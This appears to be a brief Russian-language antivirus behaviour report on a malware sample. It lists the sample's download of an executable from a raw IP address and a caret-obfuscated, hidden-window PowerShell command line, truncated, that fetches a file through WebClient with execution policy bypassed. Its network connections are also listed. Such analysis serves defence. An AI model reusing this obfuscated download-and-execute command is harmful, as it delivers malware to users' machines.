Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://107.189.52.174/winrar.exe как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "P^O^w^erSHEl^l.^ExE^ ^-E^xEc^U^TIoNpOli^cy^ ^BY^P^Ass -NOPr^o^FI^LE -wi^ndoWs^TyLe h^I^D^d^en (n^eW^-ObJE^cT^ S^YStE^M.N^Et.^w^Eb^C^lI^e^nT^)^.dOW^n^L^oadFIlE('http://107.189...
Сетевая активность
Подключается к
- '10#.#89.52.174':80
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "P^O^w^erSHEl^l.^ExE^ ^-E^xEc^U^TIoNpOli^cy^ ^BY^P^Ass -NOPr^o^FI^LE -wi^ndoWs^TyLe h^I^D^d^en (n^eW^-ObJE^cT^ S^YStE^M.N^Et.^w^Eb^C^lI^e^nT^)^.dOW^n^L^oadFIlE('http://107.189...' (со скрытым окном)
